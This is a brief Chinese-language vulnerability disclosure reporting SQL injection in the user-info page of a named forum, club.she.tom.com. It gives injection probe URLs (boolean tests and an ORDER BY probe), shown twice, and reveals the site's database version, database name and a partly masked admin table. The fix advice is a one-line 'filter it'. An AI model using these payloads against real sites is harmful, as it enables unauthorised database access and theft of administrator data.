在线社区论坛存在SQL注射漏洞，情况严重，可获取主机以及数据库信息，望管理员速度修复，以免造成对主机安全威胁。

详细说明：

http://club.she.tom.com/users/userinfo.php?username=qiaofeiyu' and '1'='1
http://club.she.tom.com/users/userinfo.php?username=qiaofeiyu' or '1'='2
http://club.she.tom.com/users/userinfo.php?username=qiaofeiyu' order by 1 --+-

可以进行二次注射测试。

漏洞证明：www.2cto.com

http://club.she.tom.com/users/userinfo.php?username=qiaofeiyu' and '1'='1
http://club.she.tom.com/users/userinfo.php?username=qiaofeiyu' or '1'='2
http://club.she.tom.com/users/userinfo.php?username=qiaofeiyu' order by 1 --+-
可以进行二次注射测试。

VERSION:
MYSQL 5.X
DATABASE：
bbsadmin
相关表：
admin_usxxxxxxx


修复方案：

过滤一下吧

作者 孤狐浪子